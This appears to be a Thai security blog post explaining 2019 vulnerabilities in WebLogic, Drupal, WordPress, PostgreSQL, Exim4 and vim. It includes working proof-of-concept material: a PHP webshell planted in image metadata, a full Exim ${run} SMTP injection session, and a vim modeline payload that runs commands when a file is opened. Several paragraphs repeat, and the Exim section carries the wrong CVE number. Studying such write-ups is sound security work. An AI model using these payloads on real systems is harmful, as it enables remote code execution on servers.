CVE-2019
CVE-2019-2618
CVE-2019-2618 เป็นช่องโหว่ unrestricted file upload ใน Oracle Weblogic Server version 12.2.1.3.0 , 12.1.3.0.0, 10.3.6.0.0 ซึ่งทำให้ผู้โจมตีสามารถ upload backdoor jsp file ขึ้นไปในระบบได้แต่ยังจำเป็นต้องเข้าสู่ระบบก่อน โดยในที่นี้จะใช้ username, password ที่ตั้งไว้คือ username: weblogic, password: Oracle@123 ครับ
CVE-2019-2725
CNVD-C-2019-48814 เป็นช่องโหว่ Command Injection ใน Oracle Weblogic version 10.x, 12.1.3.0.0 ซึ่งทำให้ผู้โจมตีสามารถเข้าสั่งการเครื่องเป้าหมายได้ โดยช่องโหว่นี้เกิดในส่วน WLS9_ASYNC และ WLS-WSAT Component ซึ่งก็คือ port console 7001 (default port) โดย URI ที่สามารถโจมตี /_async/AsyncResponseService
โดยมี URL ตัวอย่างเป็น
http://<IP>:<PORT>/_async/AsyncResponseService
โดยการโจมตีดังกล่าวไม่จำเป็นต้องทำการเข้าสู่ระบบก่อนแต่อย่างใดครับ
CVE-2019-6340
CVE-2019-6340 หรือ SA-CORE-2019-003 เป็นช่องโหว่ Remote Code Execution ใน Drupal ซึ่งเป็น CMS (Content Management System) ที่ถูกใช้ทำเว็บไซด์มากมาย โดย Drupal ที่ได้รับผลกระทบจะเป็น version 7.x, 8.5.x < 8.5.11 และ 8.6.x < 8.6.10 โดยช่องโหว่ดังกล่าวผู้โจมตีสามารถเข้ายึดเครื่องได้โดยไม่จำเป็นต้องเข้าสู่ระบบก่อนแต่อย่างใด (Unauthentication) แต่เครื่องเป้าหมายจำเป็นต้องติดตั้ง plugin REST API และรองรับ hal_json อีกด้วย
โดยข่องโหว่ดังกล่าวเกิดในส่วนการทำ deserialization object _link.json ซึ่งเป็นข้อมูลที่ถูกใช้งานผ่านการเรียก REST API ที่เป็นลักษณะ hal_json format โดยเมื่อมีการรับค่าเข้ามาแล้วผ่าน URL
โดยข่องโหว่ดังกล่าวเกิดในส่วนการทำ deserialization object _link.json ซึ่งเป็นข้อมูลที่ถูกใช้งานผ่านการเรียก REST API ที่เป็นลักษณะ hal_json format โดยเมื่อมีการรับค่าเข้ามาแล้วผ่าน URL
/?_format=hal_json
เมื่อเป็น hal_json format ตัว request จะถูกส่งไปยัง core\modules\rest\src\RequestHandler.php จากนั้นจะตรวจสอบว่ามีการติดตั้ง serialization plugin ไว้หรือไม่ หากมีจะเรียกใช้งาน deserialize() และภายในนั้นจะมีการเช็คตัว type ของข้อมูลที่ส่งเข้ามาและ plugin ว่ามีการระบุความหมายของ type นั้นๆมั้ย อีกทั้งมีการตรวจสอบด้วยว่า URL ที่ระบุใน link นั้นเป็น cache link หรือไม่
รูปภาพ source code core/modules/rest/src/RequestHandler.php
รูปภาพ source code core/modules/hal/src/Normalizer/ContentEntityNormalizer.php
จากนั้นก็จะเริ่มทำการดึงค่าออกมาจาก entity ด้วย denormalizeFieldData() ที่อยู่ที่ core/modules/serialization/src/Normalizer/FieldableEntityNormalizerTrait.php
รูปภาพ source code core/modules/serialization/src/Normalizer/FieldableEntityNormalizerTrait.php
รูปภาพ source code core/modules/rest/src/RequestHandler.php
รูปภาพ source code core/modules/hal/src/Normalizer/ContentEntityNormalizer.php
จากนั้นก็จะเริ่มทำการดึงค่าออกมาจาก entity ด้วย denormalizeFieldData() ที่อยู่ที่ core/modules/serialization/src/Normalizer/FieldableEntityNormalizerTrait.php
รูปภาพ source code core/modules/serialization/src/Normalizer/FieldableEntityNormalizerTrait.php
จากนั้นทั้งหมดจะไปจบที่ getDefinition จาก core\lib\Drupal\Component\Plugin\Discovery\DiscoveryCachedTrait.php
รูปภาพจาก core\lib\Drupal\Component\Plugin\Discovery\DiscoveryCachedTrait.php
รูปภาพจาก core\lib\Drupal\Component\Plugin\Discovery\DiscoveryCachedTrait.php
CVE-2019-8943
CVE-2019-8943 เป็นช่องโหว่ Remote Code Execution ใน Wordpress ซึ่งเป็น CMS (Content Management System) ที่ถูกใช้ทำเว็บไซด์มากมาย โดย Wordpress ที่ได้รับผลกระทบจะเป็น version 4.9.8 - 5.0.0 โดยช่องโหว่ดังกล่าวผู้โจมตีสามารถเข้ายึดเครื่องได้โดยจำเป็นจะต้องมี user ที่สามารถอัพโหลดไฟล์นั่นคือ author user นั่นเอง
โดยช่องโหว่นี้เกิดจากที่ เมื่อมีการ upload image file (ต้องทำโดยใช้สิทธิ์ Author) มันจะมีการนำไฟล์ไป save ไว้ที่ wp-content/uploads โดย Wordpress นั้นจะมีการทำอ้างอิงภายในเกี่ยวกับ Metadata ของภาพนั้นๆ ซึ่งจะอยู่ในส่วน Post Meta โดยแต่ละรายละเอียดนั้นผูกไว้ด้วย post_id (ID ของภาพ) ยกตัวอย่าง payload ตามด้านล่างเราจะเห็นว่าเป็นการ post ไปที่ ID 9
โดยเราสามารถสร้าง image backdoor ไฟล์ได้โดยใช้คำสั่ง
โดยช่องโหว่นี้เกิดจากที่ เมื่อมีการ upload image file (ต้องทำโดยใช้สิทธิ์ Author) มันจะมีการนำไฟล์ไป save ไว้ที่ wp-content/uploads โดย Wordpress นั้นจะมีการทำอ้างอิงภายในเกี่ยวกับ Metadata ของภาพนั้นๆ ซึ่งจะอยู่ในส่วน Post Meta โดยแต่ละรายละเอียดนั้นผูกไว้ด้วย post_id (ID ของภาพ) ยกตัวอย่าง payload ตามด้านล่างเราจะเห็นว่าเป็นการ post ไปที่ ID 9
โดยเราสามารถสร้าง image backdoor ไฟล์ได้โดยใช้คำสั่ง
exiftool poc.jpg -documentname="<?php echo exec(\$_POST['cmd']); ?>"
*** หมายเหตุ โดยปกติแล้ว engine ในการจัดการภาพของ Wordpress จะมี 2 ส่วนคือ gd และ imagick และโดย default คือ imagick ซึ่งหากเป็น imagick เมื่อเราทำการ upload image ที่มี metadata อยู่ ตัว imagick จะไม่มีการตัดทอนข้อมูลเหล่านี้ทิ้งแต่อย่างใด แต่หากเป็น gd จะแตกต่างกัน ตัว gd จะทำการตัด metadata ของไฟล์ทิ้ง รวมถึง php code ใดๆที่ถูกแฝงอยู่ในไฟล์ก็จะถูกลบออกไปด้วย
ซึ่ง _wp_attached_file entry ใน Database wp_postmeta จะเป็นตัวที่ผูกระหว่าง Meta กับ post image ที่เราเอาขึ้นไปไว้ด้วยกัน ปัญหามันอยู่ที่ใน Wordpress version 4.9.8 จนถึง 5.0.1 เราสามารถ set value ของตำแหน่งภาพได้ผ่าน _wp_attached_file ซึ่งตรงจุดนี้เป็นจุดสำคัญที่ทำให้เกิดผลกระทบต่อมา
โดยการเปลี่ยน _wp_attached_file ของเรานั้นไม่ได้ทำให้ไฟล์ต้นฉบับที่เรา upload นั้นมีการแก้ไขแต่อย่างใด แต่เมื่อใดก็ตามที่เรามีการใช้งาน edit image ซึ่งในที่นี้คือการ crop รูปภาพ Wordpress จะหยิบ _wp_attached_file มาใช้แทนชื่อของไฟล์ที่ระบุไว้จริงๆใน media นั่นจึงทำให้เกิด Path Traversal นั่นเอง
ตัวอย่างด้านล่างเป็น request ที่ทำการแก้ไข _wp_attached_file ของภาพ 9 ให้มีค่าเป็น /../../../../themes/twentyseventeen/icrDuOmcNQ
ทำไมเราถึงใช้เป็น themes/twentyseventeen/ เพราะเนื่องด้วย path ดังกล่าวเป็น theme ที่ user ทั่วไปสามารถเข้าถึงได้นั่นเอง ทีนี้การ crop ภาพที่เกิดขึ้นก็คือการนำภาพมาตัดบางส่วนทิ้งแล้วทำการ save ไปยัง path ที่กำหนดไว้ ซึ่งหากรูปภาพที่เรา upload มีการฝัง backdoor ไว้ ก็จะทำให้เราสามารถ deploy backdoor บนเครื่องได้นั่นเอง
ตัวอย่าง Request ของ crop ภาพ
จากนั้นทำการ Click to view the attachment page ก็จะทำให้ไฟล์ execute php ที่เราฝังไว้
โดยการเปลี่ยน _wp_attached_file ของเรานั้นไม่ได้ทำให้ไฟล์ต้นฉบับที่เรา upload นั้นมีการแก้ไขแต่อย่างใด แต่เมื่อใดก็ตามที่เรามีการใช้งาน edit image ซึ่งในที่นี้คือการ crop รูปภาพ Wordpress จะหยิบ _wp_attached_file มาใช้แทนชื่อของไฟล์ที่ระบุไว้จริงๆใน media นั่นจึงทำให้เกิด Path Traversal นั่นเอง
ตัวอย่างด้านล่างเป็น request ที่ทำการแก้ไข _wp_attached_file ของภาพ 9 ให้มีค่าเป็น /../../../../themes/twentyseventeen/icrDuOmcNQ
ทำไมเราถึงใช้เป็น themes/twentyseventeen/ เพราะเนื่องด้วย path ดังกล่าวเป็น theme ที่ user ทั่วไปสามารถเข้าถึงได้นั่นเอง ทีนี้การ crop ภาพที่เกิดขึ้นก็คือการนำภาพมาตัดบางส่วนทิ้งแล้วทำการ save ไปยัง path ที่กำหนดไว้ ซึ่งหากรูปภาพที่เรา upload มีการฝัง backdoor ไว้ ก็จะทำให้เราสามารถ deploy backdoor บนเครื่องได้นั่นเอง
ตัวอย่าง Request ของ crop ภาพ
จากนั้นทำการ Click to view the attachment page ก็จะทำให้ไฟล์ execute php ที่เราฝังไว้
CVE-2019-9193
Postgresql หรือมักถูกเรียกว่า postgres เป็น database ชื่อดังและมีการใช้งานกันอย่างแพร่หลาย โดยถูกใช้หลักใน MacOSX อีกด้วย
โดย Postgresql ที่เป็น vesrion 9.3 - 11.2 นั้นมี feature ที่ชื่อว่า “COPY TO/FROM PROGRAM” โดย feature ดังกล่าวจะทำให้ database user ใดๆใน pg_execute_server_program group สามารถที่จะรันคำสั่งใดๆในเครื่องได้ นั่นทำให้ user ใดๆสามารถรันคำสั่งได้ผ่านการใช้สิทธิ์ของ database service ได้ โดยการใช้งาน feature ดังกล่าวจำเป็นต้อง login เข้า Postgresql ให้ได้เสียก่อน โดยการกระทำนี้ได้รับ CVE เป็น CVE-2019-9193
โดย Postgresql ที่เป็น vesrion 9.3 - 11.2 นั้นมี feature ที่ชื่อว่า “COPY TO/FROM PROGRAM” โดย feature ดังกล่าวจะทำให้ database user ใดๆใน pg_execute_server_program group สามารถที่จะรันคำสั่งใดๆในเครื่องได้ นั่นทำให้ user ใดๆสามารถรันคำสั่งได้ผ่านการใช้สิทธิ์ของ database service ได้ โดยการใช้งาน feature ดังกล่าวจำเป็นต้อง login เข้า Postgresql ให้ได้เสียก่อน โดยการกระทำนี้ได้รับ CVE เป็น CVE-2019-9193
CVE-2019-10149 [EXIM4]
เนื้อหา
CVE-2019-8943 เป็นช่องโหว่ Remote Command Execution ใน Exim4 ซึ่งเป็น Mail Server ที่เป็น Open Source ที่ถูกใช้กันอย่างกว้างขวาง โดยเวอร์ชั่นที่ได้รับผลกระทบคือ 4.87 (ปล่อยมาตั้งแต่ 6 เมษายน 2016) จนถึง 4.91 และถูกแก้ไขใน version 4.92 (ถูกปล่อยมาตั้งแต่ 10 กุมภาพันธ์ 2019):
โดยช่องโหว่นี้จะใช้โจมตีได้ทั้งแบบภายใน (local) และภายนอก (remote) แต่สืบเนื่องด้วยการที่จะโจมตีได้ในลักษณะ remote นั้นมีเงื่อนไขหลายส่วนซึ่งไม่ใช่การ configure ระบบโดยปกติ แต่หากเป็น local สามารถโจมตีได้ด้วย configure ปกติของการติดตั้งเลย
การโจมตีของช่องโหว่นี้จะโจมตีไปที่ address ของผู้รับ (Recipient) โดยผู้โจมตีสามารถทำได้โดยการใส่ address ของ recipient ในลักษณะเป็น
โดยช่องโหว่นี้จะใช้โจมตีได้ทั้งแบบภายใน (local) และภายนอก (remote) แต่สืบเนื่องด้วยการที่จะโจมตีได้ในลักษณะ remote นั้นมีเงื่อนไขหลายส่วนซึ่งไม่ใช่การ configure ระบบโดยปกติ แต่หากเป็น local สามารถโจมตีได้ด้วย configure ปกติของการติดตั้งเลย
การโจมตีของช่องโหว่นี้จะโจมตีไปที่ address ของผู้รับ (Recipient) โดยผู้โจมตีสามารถทำได้โดยการใส่ address ของ recipient ในลักษณะเป็น
${run{<command> <args>}}
โดยในที่นี้จะยกตัวอย่างสร้างไฟล์ /tmp/id จากผลลัพธ์ของการรันคำสั่ง id จะใช้เป็น
${run{/bin/bash -c "id>>/tmp/id"}}@localhost
โดยเราไม่สามารถใช้ space หรือ / ใน email address ได้ ทำให้เราต้องเปลี่ยนในแต่ละส่วนให้ใช้ ASCII hex character แทน เพื่อให้สามารถใส่เข้าไปใน recipient email address ได้นั่นเอง
- \x2F มีค่าเป็น /
- \t คือ tap
- \x22 คือ “
- \x3E คือ >
จะได้ address ออกมาเป็น
<${run{\x2Fbin\x2Fsh\t-c\t\x22id\x3E\x3E\x2Ftmp\x2Fid\x22}}@localhost>
ลำดับขั้นตอนการโจมตีคือ
1. เชื่อมต่อเข้า EXIM4 service port 25
1. เชื่อมต่อเข้า EXIM4 service port 25
telnet localhost 25
2. ส่ง SMTP message เริ่มการคุยกับ EXIM4 service
HELO localhost
3. กำหนด MAIL FROM โดยใช้คำสั่ง
MAIL FROM:<>
4. กำหนด RCPT TO ตามด้วย address ที่เราได้เตรียมไว้
RCPT TO:<${run{\x2Fbin\x2Fsh\t-c\t\x22id\x3E\x3E\x2Ftmp\x2Fid\x22}}@localhost>
5. ทำการส่ง DATA โดยใช้คำสั่ง
DATA
6. ส่ง Message การรับ data อีก 31 package
7. ส่งตัวจบการส่ง Email ด้วย การ Enter และจบด้วย ‘.’
8. จากนั้นใช้คำสั่ง QUIT เพื่อปิดการใช้งาน
QUIT
โดยเมื่อดู message การโจมตีโดยรวมทั้งหมด เราจะใช้เป็น
root@d97927c28805:/work# telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 d97927c28805 ESMTP Exim 4.89 Fri, 14 Jun 2019 16:32:12 +0000
HELO localhost
250 d97927c28805 Hello localhost [127.0.0.1]
MAIL FROM:<>
250 OK
RCPT TO:<${run{\x2Fbin\x2Fsh\t-c\t\x22id\x3E\x3E\x2Ftmp\x2Fid\x22}}@localhost>
250 Accepted
DATA
354 Enter message, ending with "." on a line by itself
Received: 1
Received: 2
Received: 3
Received: 4
Received: 5
Received: 6
Received: 7
Received: 8
Received: 9
Received: 10
Received: 11
Received: 12
Received: 13
Received: 14
Received: 15
Received: 16
Received: 17
Received: 18
Received: 19
Received: 20
Received: 21
Received: 22
Received: 23
Received: 24
Received: 25
Received: 26
Received: 27
Received: 28
Received: 29
Received: 30
Received: 31
.
250 OK id=1hbp7q-00000q-6p
QUIT
221 d97927c28805 closing connection
Connection closed by foreign host.
เมื่อปิด Connection ก็จะพบว่ามีการสร้างไฟล์ /tmp/id ขึ้นมา พร้อมกับข้อมูลภายในไฟล์เป็นผลลัพธ์จากการรันคำสั่ง id
CVE-2019-12735 [VIM]
CVE-2019-12735 เป็นช่องโหว่ Arbitrary Code Execution ใน vim และ neovim command ซึ่ง vim และ neovim command นั้นเป็นตัวที่ต่อยอดมาจาก vi ซึ่งเป็นคำสั่ง text editor พื้นฐานของระบบปฏิบัติการ Linux โดย vim และ neovim นั้นทำให้ผู้ใช้งานควบคุมได้ง่ายขึ้นและเพิ่ม feature อีกมากมาย
โดย CVE-2019-12735 เป็นช่องโหว่ที่กระทบกับ vim Vim < 8.1.1365, Neovim < 0.3.6 โดยเกิดจาก modeline feature ซึ่งจะอนุญาตให้ผู้ใช้งานสามารถ custom editor option ตรงตอนเริ่มต้นของไฟล์หรือว่าจุดใกล้จบของไฟล์ โดย feature นี้จะถูก enabled โดย default และใช้งานกับไฟล์ทุกๆประเภทรวมถึง plaintext อย่าง .txt ซึ่งเราสามารถเรากำหนดผ่าน vimrc เพื่อ replace vim configure ที่เป็น default นี้ได้ สามารถอ่านรายละเอียดของช่องโหว่นี้แบบเต็มๆได้ที่นี่
โดย CVE-2019-12735 เป็นช่องโหว่ที่กระทบกับ vim Vim < 8.1.1365, Neovim < 0.3.6 โดยเกิดจาก modeline feature ซึ่งจะอนุญาตให้ผู้ใช้งานสามารถ custom editor option ตรงตอนเริ่มต้นของไฟล์หรือว่าจุดใกล้จบของไฟล์ โดย feature นี้จะถูก enabled โดย default และใช้งานกับไฟล์ทุกๆประเภทรวมถึง plaintext อย่าง .txt ซึ่งเราสามารถเรากำหนดผ่าน vimrc เพื่อ replace vim configure ที่เป็น default นี้ได้ สามารถอ่านรายละเอียดของช่องโหว่นี้แบบเต็มๆได้ที่นี่
ขั้นตอนการโจมตี
โดยเริ่มต้นให้เราสร้างไฟล์ขึ้นมา โดยมีลักษณะเป็น
\x1b[?7l\x1bSUnmalicious content to read.\x1b:silent! w | call system('id >> /tmp/id_test') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: \x16\x1b[1G\x16\x1b[KUnmalicious content to read."\x16\x1b[D \n
ซึ่งในที่นี้เราจะรันคำสั่ง id แล้วนำผลลัพธ์ของไฟล์ไปไว้ที่ /tmp/id_test นั่นเอง จากนั้นให้สร้างตัวแปร tmp ขึ้นมาโดยใช้คำสั่ง
cat << EOF > tmp
\x1b[?7l\x1bSUnmalicious content to read.\x1b:silent! w | call system('id') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: \x16\x1b[1G\x16\x1b[KUnmalicious content to read."\x16\x1b[D \n
EOF
จากนั้นสร้างไฟล์จาก tmp parameter โดยใช้คำสั่ง
echo -e $(<tmp) > poc.txt
หากเราเปิดไฟล์ poc.txt จะพบว่ามันมีแต่คำว่า “Unmalicious content to read.” เท่านั้น
จากนั้นเปิดไฟล์ poc.txt ขึ้นมาด้วย vim command จะพบว่ามีการสร้างไฟล์ /tmp/id_test ขึ้นมา
จากนั้นเปิดไฟล์ poc.txt ขึ้นมาด้วย vim command จะพบว่ามีการสร้างไฟล์ /tmp/id_test ขึ้นมา
vim poc.txt
Comments
Post a Comment